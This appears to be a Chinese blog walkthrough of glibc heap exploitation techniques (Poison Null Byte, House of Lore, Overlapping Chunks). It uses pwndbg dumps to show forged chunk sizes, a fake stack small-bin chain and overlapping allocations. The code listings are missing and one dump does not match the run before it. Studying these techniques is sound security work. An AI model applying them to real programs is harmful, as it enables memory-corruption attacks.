Poison_Null_Byte
利用原理
申请chunk a,b,c 然后free b,然后利用某个漏洞null_byte溢出覆盖b的chunk size(0x210->0x200),此时再次malloc b1,b2,会修改chunk c的prev_inuse size,但是因为b的chunk size被缩小,导致没有正确修改到chunk c的prev_inuse size。所以chunk c依然认为chunk b为原来的大小且属于free状态,这个时候free c,就会把错误的b和c合并,得到一块可以覆盖b1,b2的chunk
利用代码
1 |
|
具体分析
在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。
- malloc后,b
1 | pwndbg> heap |
- free b后c的prev_size修改成了0x110
1 | pwndbg> bins |
a[real_a_size] = 0;real_a_size为0x108,a指向0x55555555d010,这个操作会覆盖b的chunk size为200,比原来的size缩小了0x10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24pwndbg> x/10x 0x55555555d100
0x55555555d100: 0x0000000000000000 0x0000000000000000
0x55555555d110: 0x0000000000000000 0x0000000000000200
0x55555555d120: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555d130: 0x0000000000000000 0x0000000000000000
0x55555555d140: 0x0000000000000000 0x0000000000000000
…………
0x55555555d310: 0x0000000000000200 0x0000000000000000
0x55555555d320: 0x0000000000000210 0x0000000000000110
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111
Free chunk (unsortedbin)
Addr: 0x55555555d110
Size: 0x200
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78
Allocated chunk
Addr: 0x55555555d310
Size: 0x00这个时候b1=alloc(0x100),由于b的chunk_size被减少了10,malloc以后会修改chunk c的fake prev_inuse size(原来应该修改0x55555555d320,但是b的size被篡改后实际会修改0x55555555d310)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x55555555d110
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x55555555d220
Size: 0x91
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555d2b0
Size: 0x61
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78
Allocated chunk
Addr: 0x55555555d310
Size: 0x00
0x55555555d110: 0x0000000000000000 0x0000000000000111
0x55555555d120: 0x00007ffff7dd4d68 0x00007ffff7dd4d68
0x55555555d220: 0x0000000000000000 0x0000000000000091
0x55555555d230: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555d2b0: 0x0000000000000000 0x0000000000000061
0x55555555d2c0: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555d310: 0x00000000000000f0 0x0000000000000000
0x55555555d320: 0x0000000000000210 0x0000000000000110b2 = malloc(0x80);同样是修改0x55555555d310(c的fake prev_inuse size)
1
20x55555555d310: 0x0000000000000060 0x0000000000000000
0x55555555d320: 0x0000000000000210 0x0000000000000110free(b1);free(c);得到大小为0x321的unsortedbin(因为free c的时候,计算使用的是c真实的prev_inuse size即未被修改的210,并且此时b1因为已经被free了,导致consolidate的操作,最后分配到一个能够覆盖b2的chunk)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555d110
Size: 0x321
fd: 0x55555555d2b0
bk: 0x7ffff7dd4b78
Allocated chunk
Addr: 0x55555555d430
Size: 0x110
Top chunk | PREV_INUSE
Addr: 0x55555555d540
Size: 0x20ac1malloc(0x300)这是会把unsortedbin中的0x55555555d110取出来,起始地址为0x55555555d110,大小为0x321,覆盖了b2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x55555555d110
Size: 0x321
Allocated chunk | PREV_INUSE
Addr: 0x55555555d430
Size: 0x111
Top chunk | PREV_INUSE
Addr: 0x55555555d540
Size: 0x20ac1
House_of_Lore
利用原理
再stack上构造一个fake small bins链,然后free一个chunk,利用某个漏洞修改这个chunk的bk,让他指向我们构造的small bins链,那么之后的malloc最先会得到这个free的chunk,再次malloc会得到fake small bins链里面的fake chunk地址,由于fake chunk由我们控制,相当于我们可以控制任意地址了
利用代码
1 | /* |
具体分析
伪造small bin chain ,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了:
1
2
3
4pwndbg> p stack_buffer_1
$16 = {0x0, 0x0, 0x55555555c000, 0x7fffffffe0d0}
pwndbg> p stack_buffer_2
$15 = {0x0, 0x0, 0x7fffffffe0f0}free victim后,该chunk被分配到unsortedbin里面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29pwndbg> heap
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78
Allocated chunk
Addr: 0x55555555c110
Size: 0x3f0
Top chunk | PREV_INUSE
Addr: 0x55555555c500
Size: 0x20b01
pwndbg> p victim
$11 = (intptr_t *) 0x55555555c010
pwndbg> p victim
$12 = (intptr_t *) 0x55555555c010
pwndbg> x/10x 0x55555555c000
0x55555555c000: 0x00000000 0x00000000 0x00000111 0x00000000
0x55555555c010: 0xf7dd4b78 0x00007fff 0xf7dd4b78 0x00007fff
0x55555555c020: 0x00000000 0x00000000
pwndbg> x/10gx 0x55555555c000
0x55555555c000: 0x0000000000000000 0x0000000000000111
0x55555555c010: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555c020: 0x0000000000000000 0x0000000000000000
0x55555555c030: 0x0000000000000000 0x0000000000000000
0x55555555c040: 0x0000000000000000 0x0000000000000000void *p2 = malloc(1200);因为0x1200 无法被UnsortedBin和small bin处理,所以原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26pwndbg> p victim
$13 = (intptr_t *) 0x55555555c010
pwndbg> x/10x 0x55555555c000
0x55555555c000: 0x0000000000000000 0x0000000000000111
0x55555555c010: 0x00007ffff7dd4c78 0x00007ffff7dd4c78
0x55555555c020: 0x0000000000000000 0x0000000000000000
0x55555555c030: 0x0000000000000000 0x0000000000000000
0x55555555c040: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Free chunk (smallbins) | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111
fd: 0x7ffff7dd4c78
bk: 0x7ffff7dd4c78
Allocated chunk
Addr: 0x55555555c110
Size: 0x3f0
Allocated chunk | PREV_INUSE
Addr: 0x55555555c500
Size: 0x4c1
Top chunk | PREV_INUSE
Addr: 0x55555555c9c0
Size: 0x20641假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin;victim[1] = (intptr_t)stack_buffer_1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23pwndbg> p stack_buffer_1
$16 = {0x0, 0x0, 0x55555555c000, 0x7fffffffe0d0}
pwndbg> p stack_buffer_2
$15 = {0x0, 0x0, 0x7fffffffe0f0}
pwndbg> heap
Free chunk (smallbins) | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111
fd: 0x7ffff7dd4c78
bk: 0x7fffffffe0f0
Allocated chunk
Addr: 0x55555555c110
Size: 0x3f0
Allocated chunk | PREV_INUSE
Addr: 0x55555555c500
pwndbg> x/10gx 0x7fffffffe0d0
0x7fffffffe0d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe0e0: 0x00007fffffffe0f0 0x00005555555557ad
0x7fffffffe0f0: 0x0000000000000000 0x0000000000000000
0x7fffffffe100: 0x000055555555c000 0x00007fffffffe0d0
0x7fffffffe110: 0x00007fffffffe200 0xe853fa59889b9000small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。而ictim chunk是最后进入small bins 的,所以这时整条链是这样的:
1
head <-> fake chunk2 0x00007fffffffe0f0<->0x00007fffffffe0d0 fake chunk 1 0x000055555555c000 <-> 0x7fffffffe0f0 victim chunk <-> 0x7ffff7dd4c78 tail
接下来的第一个 malloc,会返回 victim chunk 的地址,再次malloc即可得到fake chunk1的地址,且地址在栈上我们可以控制。
Overlapping_Chunks
利用原理
free一个chunk,加入unsorted bin,修改加大其size,再malloc,得到一个能覆盖下一个chunk的chunk
利用代码
1 | /* |
具体分析
*(p2-1) = evil_chunk_size使free掉的chunk大小被篡改0x101->0x181
1
2
3
4
5
6
7
8
9
10
11
12
13
14pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x101
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b100
Size: 0x181
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78
Top chunk | PREV_INUSE
Addr: 0x55555555b280
Size: 0x20d81p4 = malloc(evil_region_size);可以看到p4的大小为0x181,覆盖掉了p3。此时p4还没有被赋值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x101
Allocated chunk | PREV_INUSE
Addr: 0x55555555b100
Size: 0x181
Top chunk | PREV_INUSE
Addr: 0x55555555b280
Size: 0x20d81
pwndbg> p p3
$3 = (intptr_t *) 0x55555555b210
pwndbg> p p4
$4 = (intptr_t *) 0x55555555b110
pwndbg> x/100x 0x55555555b100
0x55555555b100: 0x3131313131313131 0x0000000000000181
0x55555555b110: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555b120: 0x3232323232323232 0x3232323232323232
0x55555555b130: 0x3232323232323232 0x3232323232323232
0x55555555b140: 0x3232323232323232 0x3232323232323232
0x55555555b150: 0x3232323232323232 0x3232323232323232
0x55555555b160: 0x3232323232323232 0x3232323232323232
0x55555555b170: 0x3232323232323232 0x3232323232323232
0x55555555b180: 0x3232323232323232 0x3232323232323232
0x55555555b190: 0x3232323232323232 0x3232323232323232
0x55555555b1a0: 0x3232323232323232 0x3232323232323232
0x55555555b1b0: 0x3232323232323232 0x3232323232323232
0x55555555b1c0: 0x3232323232323232 0x3232323232323232
0x55555555b1d0: 0x3232323232323232 0x3232323232323232
0x55555555b1e0: 0x3232323232323232 0x3232323232323232
0x55555555b1f0: 0x3232323232323232 0x3232323232323232
0x55555555b200: 0x0000000000000100 0x0000000000000080
0x55555555b210: 0x3333333333333333 0x3333333333333333
0x55555555b220: 0x3333333333333333 0x3333333333333333
0x55555555b230: 0x3333333333333333 0x3333333333333333
0x55555555b240: 0x3333333333333333 0x3333333333333333
0x55555555b250: 0x3333333333333333 0x3333333333333333
0x55555555b260: 0x3333333333333333 0x3333333333333333
0x55555555b270: 0x3333333333333333 0x3333333333333333
0x55555555b280: 0x3333333333333333 0x0000000000020d81
0x55555555b290: 0x0000000000000000 0x0000000000000000
p4 = xK???
p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333?memset(p4, ‘4’, evil_region_size);为p4赋值,覆盖掉了p3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26pwndbg> x/100x 0x55555555b100
0x55555555b100: 0x3131313131313131 0x0000000000000181
0x55555555b110: 0x3434343434343434 0x3434343434343434
0x55555555b120: 0x3434343434343434 0x3434343434343434
0x55555555b130: 0x3434343434343434 0x3434343434343434
0x55555555b140: 0x3434343434343434 0x3434343434343434
0x55555555b150: 0x3434343434343434 0x3434343434343434
0x55555555b160: 0x3434343434343434 0x3434343434343434
0x55555555b170: 0x3434343434343434 0x3434343434343434
0x55555555b180: 0x3434343434343434 0x3434343434343434
0x55555555b190: 0x3434343434343434 0x3434343434343434
0x55555555b1a0: 0x3434343434343434 0x3434343434343434
0x55555555b1b0: 0x3434343434343434 0x3434343434343434
0x55555555b1c0: 0x3434343434343434 0x3434343434343434
0x55555555b1d0: 0x3434343434343434 0x3434343434343434
0x55555555b1e0: 0x3434343434343434 0x3434343434343434
0x55555555b1f0: 0x3434343434343434 0x3434343434343434
0x55555555b200: 0x3434343434343434 0x3434343434343434
0x55555555b210: 0x3434343434343434 0x3434343434343434
0x55555555b220: 0x3434343434343434 0x3434343434343434
0x55555555b230: 0x3434343434343434 0x3434343434343434
0x55555555b240: 0x3434343434343434 0x3434343434343434
0x55555555b250: 0x3434343434343434 0x3434343434343434
0x55555555b260: 0x3434343434343434 0x3434343434343434
0x55555555b270: 0x3434343434343434 0x3434343434343434
0x55555555b280: 0x3434343434343434 0x0000000000020d81
Overlapping_Chunks_2
利用原理
malloc 5个chunk,修改chunk2的size将其变大,然后free这个chunk,修改了
利用代码
1 | /* |
具体分析
- (unsigned int )((unsigned char )p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) 2;执行前后p2的chunksize被修改成了p2+p3+prev_in_use
1 | pwndbg> heap |
free(p2);后合并了chunk4和chunk2,并且修改了chunk5的prev_size得到一个大的free chunk,而这个free chunk覆盖了chunk3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x3f1
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b3f0
Size: 0xbd1
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78
Allocated chunk
Addr: 0x55555555bfc0
Size: 0x3f0
Top chunk | PREV_INUSE
Addr: 0x55555555c3b0
Size: 0x1fc51
wndbg> x/10gx 0x55555555bfb0
0x55555555bfb0: 0x4444444444444444 0x4444444444444444
0x55555555bfc0: 0x0000000000000bd0 0x00000000000003f0
0x55555555bfd0: 0x4545454545454545 0x4545454545454545
0x55555555bfe0: 0x4545454545454545 0x4545454545454545p6 = malloc(2000);得到前面free的大chunk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x3f1
Allocated chunk | PREV_INUSE
Addr: 0x555555559680
Size: 0x7e1
Free chunk (tcache) | PREV_INUSE
Addr: 0x555555559e60
Size: 0x3f1
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x55555555a250
Size: 0x3f1
chunk p6 from 0x55555555b400 to 0x55555555bbd8
chunk p3 from 0x55555555b7f0 to 0x55555555bbd8修改p6的内容即等于修改p3的内容